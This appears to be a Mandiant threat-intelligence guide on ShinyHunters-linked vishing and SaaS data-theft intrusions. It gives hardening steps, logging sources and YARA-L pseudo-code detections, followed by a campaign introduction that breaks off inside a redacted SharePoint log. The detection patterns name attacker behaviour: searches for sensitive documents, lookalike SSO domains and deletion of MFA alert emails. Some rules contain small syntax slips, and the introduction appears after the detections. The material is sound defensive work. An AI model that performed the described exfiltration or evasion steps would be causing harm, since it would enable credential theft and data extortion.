Attackers are consistently targeting non-human identities due to the limited number of detections around them, lack of baseline of normal vs abnormal activity, and common assignment of privileged roles attached to these identities. Organizations should: 

• Identify and track all programmatic identities and their usage across the environment, including where they are created, which systems they access, and who owns them.

• Centralize storage in a secrets manager (cloud-native or third-party) and prevent credentials from being embedded in source code, config files, or CI/CD pipelines.

• Restrict authentication IPs for programmatic credentials so they can only be used from trusted third-party or internal IP ranges wherever technically feasible.

• Transition to workload identity federation: Where feasible, replace long-lived static credentials (such as AWS access keys or service account keys) with workload identity federation mechanisms (often based on OIDC). This allows applications to authenticate using short-lived, ephemeral tokens issued by the cloud provider, dramatically reducing the risk of credential theft from code repositories and file systems.

• Enforce strict scoping and resource binding by tying credentials to specific API endpoints, services, or resources. For example, an API key should not simply have “read” access to storage, but be limited to a particular bucket or even a specific prefix, minimizing blast radius if it is compromised.

• Baseline expected behavior for each credential type (typical access paths, destinations, frequency, and volume) and integrate this into monitoring and alerting so anomalies can be quickly detected and investigated.

Additional platform-specific hardening measures include: 

• Okta

• Enable Okta ThreatInsight to automatically block IP addresses identified as malicious.

• Restrict Super Admin access to specific network zones (corporate VPN).

• Microsoft Entra ID

• Implement common Conditional Access Policies to block unauthorized authentication attempts and restrict high-risk sign-ins.

• Configure risk-based policies to trigger password changes or MFA when risk is detected.

• Restrict who is allowed to register applications in Entra ID and require administrator approval for all application registrations.

• Google Workspace

• Use Context-Aware Access levels to restrict Google Drive and Admin Console access based on device attributes and IP address.

• Enforce 2-Step Verification (2SV) for all Google Workspace users.

• Use Advanced Protection to protect high-risk users from targeted phishing, malware, and account hijacking.

Infrastructure and Application Platforms 

Infrastructure and application platforms such as Cloud consoles and SaaS applications are frequent targets for credential harvesting and data exfiltration. Protecting these systems typically requires implementing the previously outlined identity controls, along with platform-specific security guardrails, including:

• Restrict management-plane access so it’s only reachable from the organization’s network and approved VPN ranges.

• Scan for and remediate exposed secrets, including sensitive credentials stored across these platforms.

• Enforce device access controls so access is limited to managed, compliant devices.

• Monitor configuration changes to identify and investigate newly created resources, exposed services, or other unauthorized modifications.

• Implement logging and detections to identify:

• Newly created or modified network security group (NSG) rules, firewall rules, or publicly exposed resources that enable remote access.

• Creation of programmatic keys and credentials (e.g., access keys).

• Disable API/CLI access for non-essential users by restricting programmatic access to those who explicitly require it for management-plane operations.

Platform Specifics

• GCP

• Configure security perimeters with VPC Service Controls (VPC-SC) to prevent data from being copied to unauthorized Google Cloud resources even if they have valid credentials.
  
  Set additional guardrails with organizational policies and deny policies applied at the organization level. This stops developers from introducing misconfigurations that could be exploited by attackers. For example, enforcing organizational policies like “iam.disableServiceAccountKeyCreation” will prevent generating new unmanaged service account keys that can be easily exfiltrated.

• Apply IAM Conditions to sensitive role bindings. Restrict roles so they only activate if the resource name starts with a specific prefix or if the request comes during specific working hours. This limits the blast radius of a compromised credential.

• AWS

  • Apply Service Control Policies (SCPs) at the root level of the AWS Organization that limit the attack surface of AWS services. For example, deny access in unused regions, block creation of IAM access keys, and prevent deletion of backups, snapshots, and critical resources.

  • Define data perimeters through Resource Control Policies (RCPs) that restrict access to sensitive resources (like S3 buckets) to only trusted principals within your organization, preventing external entities from accessing data even with valid keys.

  • Implement alerts on common reconnaissance commands such as GetCallerIdentity API calls originating from non-corporate IP addresses. This is often the first reconnaissance command an attacker runs to verify their stolen keys.

• Azure
  • Enforce Conditional Access Policies (CAPs) that block access to administrative applications unless the device is "Microsoft Entra hybrid joined" and "Compliant." This prevents attackers from accessing resources using their own tools or devices.
  • Eliminate standing admin access and require Just-In-Time (JIT) through Privileged Identity Management (PIM) for elevation for roles such as Global Administrator, mandating an approval workflow and justification for each activation.
  • Enforce the use of Managed Identities for Azure resources accessing other services. This removes the need for developers to handle or rotate credentials for service principals, eliminating the static key attack vector.
• Source Code Management
  • Enforce Single Sign-On (SSO) with SCIM for automated lifecycle management and mandate FIDO2/WebAuthn to neutralize phishing. Additionally, replace broad access tokens with short-lived, Fine-Grained Personal Access Tokens (PATs) to enforce least privilege.
  • Prevent credential leakage by enabling native "Push Protection" features or implementing blocking CI/CD workflows (such as TruffleHog) that automatically reject commits containing high-entropy strings before they are merged.
  • Mitigate the risk of malicious code injection by requiring cryptographic commit signing (GPG/S/MIME) and mandating a minimum of two approvals for all Pull Requests targeting protected branches.
  • Conduct scheduled historical scans to identify and purge latent secrets that evaded preventative controls, ensuring any compromised credentials are immediately rotated and forensically investigated.
• Salesforce
  • Reference Mandiant’s Salesforce Hardening blog post
  • Reference Salesforce “Protecting Salesforce Data After an Identity Compromise” blog post

2. Logging

Modern SaaS intrusions rarely rely on payloads or technical exploits. Instead, Mandiant consistently observes attackers leveraging valid access (frequently gained via vishing or MFA bypass) to abuse native SaaS capabilities such as bulk exports, connected apps, and administrative configuration changes.

Without clear visibility into these environments, detection becomes nearly impossible. If an organization cannot track which identity authenticated, what permissions were authorized, and what data was exported, they often remain unaware of a campaign until an extortion note appears.

This section focuses on ensuring your organization has the necessary visibility into identity actions, authorizations, and SaaS export behaviors required to detect and disrupt these incidents before they escalate.

Identity Provider 

If an adversary gains access through vishing and MFA manipulation, the first reliable signals will appear in the SSO control plane, not inside a workstation. In this example, the goal is to ensure Okta and Entra ID ogs identify who authenticated, what MFA changes occurred, and where access originated from.

What to Enable and Ingest into the SIEM

Okta

• Authentication events (successful and failed sign-ins)

• MFA lifecycle events (enrollment/activation and changes to authentication factors or devices)

• Administrative identity events that capture security-relevant actions (e.g., changes that affect authentication posture)

Entra ID

• Authentication events

• Audit logs for MFA changes / authentication method

• Audit logs for security posture changes that affect authentication

• Conditional Access policy changes

• Changes to Named Locations / trusted locations

What “Good” Looks Like Operationally

You should be able to quickly identify:

• Authentication factor, device enrollment activity, and the user responsible

• Source IP, geolocation, (and ASN if available) associated with that enrollment

• Whether access originated from the organization’s expected egress and identify access paths

Platform

Google Workspace Logging 

Defenders should ensure they have visibility into OAuth authorizations, mailbox deletion activity (including deletion of security notification emails), and Google Takeout exports. 

What You Need in Place Before Logging

• Correct edition + investigation surfaces available: Confirm your Workspace edition supports the Audit and investigation tool and the Security Investigation tool (if you plan to use it).

• Correct admin privileges: Ensure the account has Audit & Investigation privilege (to access OAuth/Gmail/Takeout log events) and Security Center privilege.

• If you need Gmail message content: Validate edition + privileges allow viewing message content during investigations.

What to Enable and Ingest into the SIEM

OAuth / App authorization logs

Enable and ingest token/app authorization logs to observe:

• Which application was authorized (app name + identifier)

• Which user granted access

• What scopes were granted

• Source IP and geolocation for the authorization

This is the telemetry required to detect suspicious app authorizations and add-on enablement that can support mailbox manipulation.

Gmail audit logs

Enable and ingest Gmail audit events that capture:

• Message deletion actions (including permanent delete where available)

• Message direction indicators (especially useful for outbound cleanup behavior)

• Message metadata (e.g., subject) to support detection of targeted deletions of security notification emails

Google Takeout audit logs

Enable and ingest Takeout logs to capture:

• Export initiation and completion events

• User and source IP/geo for the export activity

Salesforce Logging 

Activity observed by Mandiant includes the use of Salesforce Data Loader and large-scale access patterns that won’t be visible if only basic login history logs are collected. Additional Salesforce telemetry that captures logins, configuration changes, connected app/API activity, and export behavior is needed to investigate SaaS-native exfiltration. Detailed implementation guidance for these visibility gaps can be found in Mandiant’s Targeted Logging and Detection Controls for Salesforce.

What You Need in Place Before Logging

• Entitlement check (must-have)
  • Most security-relevant Salesforce logs are gated behind Event Monitoring, delivered through Salesforce Shield or the Event Monitoring add-on. Confirm you are licensed for the event types you plan to use for detection.
• Choose the collection method that matches your operations
  • Use real-time event monitoring (RTEM) if you need near real-time detection.
  • Use event log files (ELF) if you need predictable batch exports for long-term storage and retrospective investigations.
  • Use event log objects (ELO) if you require queryable history via Salesforce Object Query Language (often requires Shield/add-on).
• Enable the events you intend to detect on
  • Use Event Manager to explicitly turn on the event categories you plan to ingest, and ensure the right teams have access to view and operationalize the data (profiles/permission sets).
• Threat Detection and Enhanced Transaction Security
  • If your environment uses Threat Detection or ETS, verify the event types that feed those controls and ensure your log ingestion platform doesn’t omit the events you expect to alert on.

What to Enable and Ingest into the SIEM

Authentication and access

• LoginHistory (who logged in, when, from where, success/failure, client type)

• LoginEventStream (richer login telemetry where available)

Administrative/configuration visibility

• SetupAuditTrail (changes to admin and security configurations)

API and export visibility

• ApiEventStream (API usage by users and connected apps)

• ReportEventStream (report export/download activity)

• BulkApiResultEvent (bulk job result downloads—critical for bulk extraction visibility)

Additional high-value sources (if available in your tenant)

• LoginAsEventStream (impersonation / “login as” activity)

• PermissionSetEvent (permission grants/changes)

SaaS Pivot Logging 

Threat actors often pivot from compromised SSO providers into additional SaaS platforms, including DocuSign and Atlassian. Ingesting audit logs from these platforms into a SIEM environment enables the detection of suspicious access and large-scale data exfiltration following an identity compromise.

What You Need in Place Before Logging

• You need tenant-level admin permissions to access and configure audit/event logging.

• Confirm your plan/subscriptions include the audit/event visibility you are trying to collect (Atlassian org audit log capabilities can depend on plan/Guard tier; DocuSign org-level activity monitoring is provided via DocuSign Monitor).

• API access (If you are pulling logs programmatically): Ensure the tenant is able to use the vendor’s audit/event APIs (DocuSign Monitor API; Atlassian org audit log API/webhooks depending on capability).

• Retention reality check: Validate the platform’s native audit-log retention window meets your investigation needs.

What to Enable and Ingest into the SIEM

DocuSign (audit/monitoring logs)

• Authentication events (successful/failed sign-ins, SSO vs password login if available)

• Administrative changes (user/role changes, org-level setting changes)

• Envelope access and bulk activity (envelope viewed/downloaded, document downloaded, bulk send, bulk download/export where available)

• API activity (API calls, integration keys/apps used, client/app identifiers)

• Source context (source IP/geo, user agent/client type)

Atlassian (Jira/Confluence audit logs)

• Authentication events (SSO sign-ins, failed logins)

• Privilege and admin changes (role/group membership changes, org admin actions)

• Confluence/Jira data access at scale:

• Confluence: space/page view/download/export events (especially exports)

• Jira: project access, issue export, bulk actions (where available)

• API token and app activity (API token created/revoked, OAuth app connected, marketplace app install/uninstall)

• Source context (source IP/geolocation, user agent/client type)

Microsoft 365 Audit Logging 

Mandiant has observed threat actors leveraging PowerShell to download sensitive data from SharePoint and OneDrive as part of this campaign. To detect the activity, it is necessary to ingest M365 audit telemetry that records file download operations along with client context (especially the user agent).

What You Need in Place Before Logging

• Microsoft Purview Audit is available and enabled: Your tenant must have Microsoft Purview Audit turned on and usable (Audit “Standard” vs “Premium” affects capabilities/retention).

• Correct permissions to view/search audit: Assign the compliance/audit roles required to access audit search and records.

• SharePoint/OneDrive operations are present in the Unified Audit Log: Validate that SharePoint/OneDrive file operations are being recorded (this is where operations like file download/access show up).

• Client context is captured: Confirm audit records include UserAgent (when provided by the client) so you can identify PowerShell-based access patterns in SharePoint/OneDrive activity.

What to Enable and Ingest into the SIEM

• FileDownloaded and FileAccessed (SharePoint/OneDrive)

• User agent/client identifier (to surface WindowsPowerShell-style user agents)

• User identity, source IP, geolocation

• Target resource details

3. Detections

The following detections target behavioral patterns Mandiant has identified in ShinyHunters related intrusions. In these scenarios, attackers typically gain initial access by compromising SSO platforms or manipulating MFA controls, then leverage native SaaS capabilities to exfiltrate data and evade detection.The following use cases are categorized by area of focus, including Identity Providers and Productivity Platforms. 

Note: This activity is not the result of a security vulnerability in vendors' products or infrastructure. Instead, these intrusions rely on the effectiveness of ShinyHunters related intrusions.

Implementation Guidelines

These rules are presented as YARA-L pseudo-code to prioritize clear detection logic and cross-platform portability. Because field names, event types, and attribute paths vary across environments, consider the following variables:

• Ingestion Source: Differences in how logs are ingested into Google SecOps.

• Parser Mapping: Specific UDM (Unified Data Model) mappings unique to your configuration.

• Telemetry Availability: Variations in logging levels based on your specific SaaS licensing.

• Reference Lists: Curated allowlists/blocklists the organization will need to create to help reduce noise and keep alerts actionable.

Note: Mandiant recommends testing these detections prior to deployment by validating the exact event mappings in your environment and updating the pseudo-fields to match your specific telemetry.

Okta

MFA Device Enrollment or Changes (Post-Vishing Signal)

Detects MFA device enrollment and MFA life cycle changes that often occur immediately after a social-engineered account takeover. When this alert is triggered, immediately review the affected user’s downstream access across SaaS applications (Salesforce, Google Workspace, Atlassian, DocuSign, etc.) for signs of large-scale access or data exports.

Why this is high-fidelity: In this intrusion pattern, MFA manipulation is a primary “account takeover” step. Because MFA lifecycle events are rare compared to routine logins, any modification occurring shortly after access is gained serves as a high-fidelity indicator of potential compromise.

Key signals

• Okta system Log MFA lifecycle events (enroll/activate/deactivate/reset)

• principal.user, principal.ip, client.user_agent, geolocation/ASN (if enriched)

• Optional: proximity to password reset, recovery, or sign-in anomalies (same user, short window)

Pseudo-code (YARA-L)

events:
$mfa.metadata.vendor_name = "Okta"
$mfa.metadata.product_event_type in ( "okta.user.mfa.factor.enroll", "okta.user.mfa.factor.activate",  "okta.user.mfa.factor.deactivate", "okta.user.mfa.factor.reset_all" )
$u= $mfa.principal.user.userid
$t_mfa = $mfa.metadata.event_timestamp

$ip = coalesce($mfa.principal.ip, $mfa.principal.asset.ip)
$ua = coalesce($mfa.network.http.user_agent, $mfa.extracted.fields["userAgent"], "") 

$reset.metadata.vendor_name = "Okta"
$reset.metadata.product_event_type in (
"okta.user.password.reset",  "okta.user.account.recovery.start" )
$t_reset = $reset.metadata.event_timestamp

$auth.metadata.vendor_name = "Okta"
$auth.metadata.product_event_type in ("okta.user.authentication.sso", "okta.user.session.start")
$t_auth = $auth.metadata.event_timestamp

match:
$u over 30m

condition:
// Always alert on MFA lifecycle change
$mfa and
// Optional sequence tightening (enrichment only, not mandatory):
// If reset/auth exists in the window, enforce it happened before the MFA change.
(
(not $reset and not $auth) or
(($reset and $t_reset < $t_mfa) or ($auth and $t_auth < $t_mfa))
)

Suspicious admin.security Actions from Anonymized IPs

Alert on Okta admin/security posture changes when the admin action occurs from suspicious network context (proxy/VPN-like indicators) or immediately after an unusual auth sequence.

Why this is high-fidelity: Admin/security control changes are low volume and can directly enable persistence or reduce visibility.

Key signals

• Okta admin/system events (e.g., policy changes, MFA policy, session policy, admin app access)

• “Anonymized” network signal: VPN/proxy ASN, “datacenter” reputation, TOR list, etc.

• Actor uses unusual client/IP for admin activity

Reference lists

• VPN_TOR_ASNS (proxy/VPN ASN list)

Pseudo-code (YARA-L)

events:
$a.metadata.vendor_name = "Okta"
$a.metadata.product_event_type in ("okta.system.policy.update","okta.system.security.change","okta.user.session.clear","okta.user.password.reset","okta.user.mfa.reset_all")  
userid=$a.principal.user.userid
// correlate with a recent successful login for the same actor if available
$l.metadata.vendor_name = "Okta"
$l.metadata.product_event_type = "okta.user.authentication.sso"
userid=$l.principal.user.userid

match:
userid over 2h

condition:
$a and $l

Google Workspace

OAuth Authorization for ToogleBox Recall

Detects OAuth/app authorization events for ToogleBox recall (or the known app identifier), indicating mailbox manipulation activity.

Why this is high-fidelity: This is a tool-specific signal tied to the observed “delete security notification emails” behavior.

Key signals

• Workspace OAuth / token authorization log event

• App name, app ID, scopes granted, granting user, source IP/geo

• Optional: privileged user context (e.g., admin, exec assistant)

Pseudo-code (YARA-L)

events:
$e.metadata.vendor_name = "Google Workspace"
$e.metadata.product_event_type in ("gws.oauth.grant", "gws.token.authorize") // placeholders
// match app name OR app id if you have it
(lower($e.target.application) contains "tooglebox" or
lower($e.target.application) contains "recall")
condition:
$e

Gmail Deletion of Okta Security Notification Email

Detects deletion actions targeting Okta security notification emails (e.g., “Security method enrolled”).

Why this is high-fidelity: Targeted deletion of security notifications is intentional evasion, not normal email behavior.

Key signals

• Gmail audit log delete/permanent delete (or mailbox cleanup) event

• Subject matches a small set of security-notification strings

• Time correlation: deletion shortly after receipt (optional)

Pseudo-code (YARA-L)

events:
$d.metadata.vendor_name = "Google Workspace"
$d.metadata.product_event_type in ("gws.gmail.message.delete",
                                       "gws.gmail.message.trash",
                                       "gws.gmail.message.permanent_delete") // PLACEHOLDER
regex_match(lower($d.target.email.subject),
"(security method enrolled|new sign-in|new device|mfa|authentication|verification)")
$u = $d.principal.user.userid
$t = $d.metadata.event_timestamp

match:
$u over 30m

condition:
$d and count($d) >= 2   // tighten: at least 2 in 30m; adjust if too strict
}

Google Takeout Export Initiated/Completed

Detects Google Takeout export initiation/completion events.

Why this is high-fidelity: Takeout exports are uncommon in corporate contexts; in this campaign they represent a direct data export path.

Key signals

• Takeout audit events (e.g., initiated, completed)

• User, source IP/geo, volume

Reference lists

• TAKEOUT_ALLOWED_USERS (rare; HR offboarding workflows, legal export workflows)

Pseudo-code (YARA-L)

events:
$start.metadata.vendor_name = "Google Workspace"
$start.metadata.product_event_type = "gws.takeout.export.start"      
$user = $start.principal.user.userid
$job  = $start.target.resource.id   // if available; otherwise remove job join

$done.metadata.vendor_name = "Google Workspace"
$done.metadata.product_event_type  = "gws.takeout.export.complete"   
$bytes = coalesce($done.target.file.size, $done.extensions.bytes_exported)

match:
// takeout can take hours; don't use 10m here, adjust accordingly
$start.principal.user.userid = $done.principal.user.userid over 24h
// if you have a job/export id, this makes it *much* cleaner
$start.target.resource.id = $done.target.resource.id
condition:
$start and $done and
$start.metadata.event_timestamp < $done.metadata.event_timestamp and
$bytes >= 500000000   // 500MB start point; tune
not ($u in %TAKEOUT_ALLOWED_USERS) // OPTIONAL: remove if you don't maintain it

Cross-SaaS

Attempted Logins from Known Campaign Proxy/IOC Networks

Detects authentication attempts across SaaS/SSO providers originating from IPs/ASNs associated with the campaign.

Why this is high-fidelity: These IPs and ASNs lack legitimate business overlap; matches indicate direct interaction between compromised credentials and known adversary-controlled infrastructure.

Key signals

• Authentication attempts across Okta / Salesforce / Workspace / Atlassian / DocuSign

• principal.ip matches IOC IPs or ASN list

Reference lists

• SHINYHUNTERS_PROXY_IPS

• VPN_TOR_ASNS

Pseudo-code (YARA-L)

events:
$e.metadata.product_event_type in (
      "okta.login.attempt", "workday.sso.login.attempt",
      "gws.login.attempt",  "salesforce.login.attempt",
      "atlassian.login.attempt", "docusign.login.attempt"
    ) 
(
      $e.principal.ip in %SHINYHUNTERS_PROXY_IPS or
      $e.principal.ip.asn in %VPN_TOR_ASNS
)

condition:
$e

Identity Activity Outside Normal Business Hours

Detects identity events occurring outside normal business hours, focusing on high-risk actions (sign-ins, password reset, new MFA enrollment and/or device changes).

Why this is high-fidelity: A strong indication of abnormal user behavior when also constrained to sensitive actions and users who rarely perform them.

Key signals

• User sign-ins, password resets, MFA enrollment, device registrations

• Timestamp bucket: late evening / friday afternoon / weekends

Pseudo-code (YARA-L)

events:
$e.metadata.vendor_name = "Okta"
$e.metadata.product_event_type in ("okta.user.password.reset","okta.user.mfa.factor.activate","okta.user.mfa.factor.reset_all") // PLACEHOLDER
outside_business_hours($e.metadata.event_timestamp, "America/New_York") 
// Include the business hours your organization functions in
$u = $e.principal.user.userid

condition:
$e

Successful Sign-in From New Location and New MFA Method

Detects a successful login that is simultaneously from a new geolocation and uses a newly registered MFA method.

Why this is high-fidelity: This pattern represents a compound condition that aligns with MFA manipulation and unfamiliar access context.

Key signals

• Successful authentication

• New geolocation compared to user baseline

• New factor method compared to user baseline (or recent MFA enrollment)

• Optional sequence: MFA enrollment occurs after login

Pseudo-code (YARA-L)

events:
$login.metadata.vendor_name = "Okta"
$login.metadata.product_event_type = "okta.login.success" 
$u = $login.principal.user.userid
$geo = $login.principal.location.country
$t_l = $login.metadata.event_timestamp
$m = $login.security_result.auth_method // if present; otherwise join to factor event

condition:
$login and
first_seen_country_for_user($u, $geo) and
first_seen_factor_for_user($u, $m)

Multiple MFA Enrollments Across Different Users From the Same Source IP

Detects the same source IP enrolling/changing MFA for multiple users in a short window.

Why this is high-fidelity:This pattern mirrors a known social engineering tactic where threat actors manipulate help desk admins to enroll unauthorized devices into a victim’s MFA - spanning multiple users from the same source address

Key signals

• Okta MFA lifecycle events

• Same src_ip

• Distinct user count threshold

• Tight window

Pseudo-code (YARA-L)

events:
$m.metadata.vendor_name = "Okta"
$m.metadata.product_event_type in ("<OKTA_MFA_ENROLL_EVENT>", "<OKTA_MFA_DEVICE_ENROLL_EVENT>") 
$ip  = coalesce($m.principal.ip, $m.principal.asset.ip)
$uid = $m.principal.user.userid

match:
$ip over 10m

condition:
count_distinct($uid) >= 3

Network

Web/DNS Access to Credential Harvesting, Portal Impersonation Domains

Detects DNS queries or HTTP referrers matching brand and SSO/login keyword lookalike patterns.

Why this is high-fidelity: Captures credential-harvesting infrastructure patterns when you have network telemetry.

Key signals

• DNS question name or HTTP referrer/URL

• Regex match for brand + SSO keywords

• Exclusions for your legitimate domains

Reference lists

• Allowlist (small) of legitimate domains (optional)

Pseudo-code (YARA-L)

events:
$event.metadata.event_type in ("NETWORK_HTTP", "NETWORK_DNS")
// pick ONE depending on which log source you're using most
// DNS:
$domain = lower($event.network.dns.questions.name)
// If you’re using HTTP instead, swap the line above to:
// $domain = lower($event.network.http.referring_url)

condition:
regex_match($domain, ".*(yourcompany(my|sso|internal|okta|access|azure|zendesk|support)|(my|sso|internal|okta|access|azure|zendesk|support)yourcompany).*"
)
and not regex_match($domain, ".*yourcompany\\.com.*")
and not regex_match($domain, ".*okta\\.yourcompany\\.com.*")

Microsoft 365

M365 SharePoint/OneDrive: FileDownloaded with WindowsPowerShell User Agent

Detects SharePoint/OneDrive downloads with PowerShell user-agent that exceed a byte threshold or count threshold within a short window.

Why this is high-fidelity: PowerShell-driven SharePoint downloading and burst volume indicates scripted retrieval.

Key signals

• FileDownloaded/FileAccessed

• User agent contains PowerShell

• Bytes transferred OR number of downloads in window

• Timestamp window (ordering implicit) and min<max check

Pseudo-code (YARA-L)

events:
  $e.metadata.vendor_name = "Microsoft"
  (
    $e.target.application = "SharePoint" or
    $e.target.application = "OneDrive"
  )
  $e.metadata.product_event_type = /FileDownloaded|FileAccessed/
  $e.network.http.user_agent = /PowerShell/ nocase
  $user = $e.principal.user.userid
  $bytes = coalesce($e.target.file.size, $e.extensions.bytes_transferred) 
  $ts = $e.metadata.event_timestamp

match:
  $user over 15m

condition:
  // keep your PowerShell constraint AND require volume
  $e and (sum($bytes) >= 500000000 or count($e) >= 20) and min($ts) < max($ts)

M365 SharePoint: High Volume Document FileAccessed Events

Detects SharePoint document file access events that exceed a count threshold and minimum unique file types within a short window.

Why this is high-fidelity: Burst volume may indicate scripted retrieval or usage of the Open-in-App feature within SharePoint.

Key signals

• FileAccessed

• Filtering on common document file types (e.g., PDF) 

• Number of downloads in window

• Minimum unique file types

Pseudo-code (YARA-L)

events:
  $e.metadata.vendor_name = "Microsoft"
  $e.metadata.product_event_type = "FileAccessed"
  $e.target.application = "SharePoint"
  $e.target.file.full_path = /\.(doc[mx]?|xls[bmx]?|ppt[amx]?|pdf)$/ nocase)
  $file_extension_extract = re.capture($e.target.file.full_path, `\.([^\.]+)$`)
  $session_id = $e.network.session_id

match:
  $session_id over 5m

outcome:
  $target_url_count = count_distinct(strings.coalesce($e.target.file.full_path))
  $extension_count = count_distinct($file_extension_extract)

condition:
  $e and $target_url_count >= 50 and $extension_count >= 3

M365 SharePoint: High Volume Document FileDownloaded Events

Detects SharePoint document file downloaded events that exceed a count threshold and minimum unique file types within a short window.

Why this is high-fidelity: Burst volume may indicate scripted retrieval, which may also be generated by legitimate backup processes.

Key signals

• FileDownloaded

• Filtering on common document file types (e.g., PDF) 

• Number of downloads in window

• Minimum unique file types

Pseudo-code (YARA-L)

events:
  $e.metadata.vendor_name = "Microsoft"
  $e.metadata.product_event_type = "FileDownloaded"
  $e.target.application = "SharePoint"
  $e.target.file.full_path = /\.(doc[mx]?|xls[bmx]?|ppt[amx]?|pdf)$/ nocase)
  $file_extension_extract = re.capture($e.target.file.full_path, `\.([^\.]+)$`)
  $session_id = $e.network.session_id

match:
  $session_id over 5m

outcome:
  $target_url_count = count_distinct(strings.coalesce($e.target.file.full_path))
  $extension_count = count_distinct($file_extension_extract)

condition:
  $e and $target_url_count >= 50 and $extension_count >= 3

M365 SharePoint: Query for Strings of Interest

Detects SharePoint queries for files relating to strings of interest, such as sensitive documents, clear-text credentials, and proprietary information.

Why this is high-fidelity: Multiple searches for strings of interest by a single account occurs infrequently. Generally, users will search for project or task specific strings rather than general labels (e.g., “confidential”).

Key signals

• SearchQueryPerformed

• Filtering on strings commonly associated with sensitive or privileged information 

Pseudo-code (YARA-L)

events:
  $e.metadata.vendor_name = "Microsoft"
  $e.metadata.product_event_type = "SearchQueryPerformed"
  $e.target.application = "SharePoint"
  $e.additional.fields["search_query_text"] = /\bpoc\b|proposal|confidential|internal|salesforce|vpn/ nocase

condition:
  $e

M365 Exchange Deletion of MFA Modification Notification Email

Detects deletion actions targeting Okta and other platform security notification emails (e.g., “Security method enrolled”).

Why this is high-fidelity: Targeted deletion of security notifications can be intentional evasion and is not typically performed by email users.

Key signals

• M365 Exchange audit log delete/permanent delete (or mailbox cleanup) event

• Subject matches a small set of security-notification strings

• Time correlation: deletion shortly after receipt (optional)

Pseudo-code (YARA-L)

events:
  $e.metadata.vendor_name = "Microsoft"
  $e.target.application = "Exchange"
  $e.metadata.product_event_type = /^(SoftDelete|HardDelete|MoveToDeletedItems)$/ nocase
  $e.network.email.subject = /new\s+(mfa|multi-|factor|method|device|security)|\b2fa\b|\b2-Step\b|(factor|method|device|security|mfa)\s+(enroll|registered|added|change|verify|updated|activated|configured|setup)/ nocase

  // filtering specifically for new device registration strings
  $e.network.email.subject = /enroll|registered|added|change|verify|updated|activated|configured|setup/ nocase

  // tuning out new device logon events
  $e.network.email.subject != /(sign|log)(-|\s)?(in|on)/ nocase

condition:
  $e

Introduction 

Mandiant has identified an expansion in threat activity that uses tactics, techniques, and procedures (TTPs) consistent with prior ShinyHunters-branded extortion operations. These operations primarily leverage sophisticated voice phishing (vishing) and victim-branded credential harvesting sites to gain initial access to corporate environments by obtaining single sign-on (SSO) credentials and multi-factor authentication (MFA) codes. Once inside, the threat actors target cloud-based software-as-a-service (SaaS) applications to exfiltrate sensitive data and internal communications for use in subsequent extortion demands.

Google Threat Intelligence Group (GTIG) is currently tracking this activity under multiple threat clusters (UNC6661, UNC6671, and UNC6240) to enable a more granular understanding of evolving partnerships and account for potential impersonation activity. While this methodology of targeting identity providers and SaaS platforms is consistent with our prior observations of threat activity preceding ShinyHunters-branded extortion, the breadth of targeted cloud platforms continues to expand as these threat actors seek more sensitive data for extortion. Further, they appear to be escalating their extortion tactics with recent incidents including harassment of victim personnel, among other tactics.

This activity is not the result of a security vulnerability in vendors' products or infrastructure. Instead, it continues to highlight the effectiveness of social engineering and underscores the importance of organizations moving towards phishing-resistant MFA where possible. Methods such as FIDO2 security keys or passkeys are resistant to social engineering in ways that push-based or SMS authentication are not.

Mandiant has also published a comprehensive guide with proactive hardening and detection recommendations, and Google published a detailed walkthrough for operationalizing these findings within Google Security Operations.

UNC6661 Vishing and Credential Theft Activity

In incidents spanning early to mid-January 2026, UNC6661 pretended to be IT staff and called employees at targeted victim organizations claiming that the company was updating MFA settings. The threat actor directed the employees to victim-branded credential harvesting sites to capture their SSO credentials and MFA codes, and then registered their own device for MFA. The credential harvesting domains attributed to UNC6661 commonly, but not exclusively, use the format <companyname>sso.com or <companyname>internal.com and have often been registered with NICENIC.

In at least some cases, the threat actor gained access to accounts belonging to Okta customers. Okta published a report about phishing kits targeting identity providers and cryptocurrency platforms, as well as follow-on vishing attacks. While they associate this activity with multiple threat clusters, at least some of the activity appears to overlap with the ShinyHunters-branded operations tracked by GTIG.

After gaining initial access, UNC6661 moved laterally through victim customer environments to exfiltrate data from various SaaS platforms (log examples in Figures 2 through 5). While the targeting of specific organizations and user identities is deliberate, analysis suggests that the subsequent access to these platforms is likely opportunistic, determined by the specific permissions and applications accessible via the individual compromised SSO session. These compromises did not result from security vulnerabilities in the vendors' products or infrastructure.

In some cases, they have appeared to target specific types of information. For example, the threat actors have conducted searches in cloud applications for documents containing specific text including "poc," "confidential," "internal," "proposal," "salesforce," and "vpn" or targeted personally identifiable information (PII) stored in Salesforce. Additionally, UNC6661 may have targeted Slack data at some victims' environments, based on a claim made in a ShinyHunters-branded data leak site (DLS) entry.

{
  "AppAccessContext": {
    "AADSessionId": "[REDACTED_GUID]",
    "AuthTime": "1601-01-01T00:00:00",
    "ClientAppId": "[REDACTED_APP_ID]",
    "ClientAppName": "Microsoft Office",
    "CorrelationId": "[REDACTED_GUID]",
    "TokenIssuedAtTime": "1601-01-01T00:02:56",
    "UniqueTokenId": "[REDACTED_ID]"
  },
  "CreationTime": "2026-01-10T13:17:11",
  "Id": "[REDACTED_GUID]",
  "Operation": "FileDownloaded",
  "OrganizationId": "[REDACTED_GUID]",
  "RecordType": 6,
  "UserKey": "[REDACTED_USER_KEY]",
  "UserType": 0,
  "Version": 1,
  "Workload": "SharePoint",
  "ClientIP": "[REDACTED_IP]",
  "UserId": "[REDACTED_EMAIL]",
  "ApplicationId": "[REDACTED_APP_ID]",
  "AuthenticationType": "OAuth",
  "BrowserName": "Mozilla",
  "BrowserVersion": "5.0",
  "CorrelationId": "[REDACTED_GUID]",
  "EventSource": "SharePoint",
  "GeoLocation": "NAM",
  "IsManagedDevice": false,
  "ItemType": "File",
  "ListId": "[REDACTED_GUID]",
  "ListItemUniqueId": "[REDACTED_GUID]",
  "Platform": "WinDesktop",
  "Site": "[REDACTED_GUID]",
  "UserAgent": "Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.20348.4294",
  "WebId": "[REDACTED_GUID]",
  "DeviceDisplayName": "[REDACTED_IPV6]",
  "EventSignature": "[REDACTED_SIGNATURE]",
  "FileSizeBytes": 31912,
  "HighPriorityMediaProcessing": false,
  "ListBaseType": 1,
  "ListServerTemplate": 101,
  "SensitivityLabelId": "[REDACTED_GUID]",
  "SiteSensitivityLabelId": "",
  "SensitivityLabelOwnerEmail": "[REDACTED_EMAIL]",
  "SourceRelativeUrl": "[REDACTED_RELATIVE_URL]",
  "SourceFileName": "[REDACTED_FILENAME]",
  "SourceFileExtension": "xlsx",
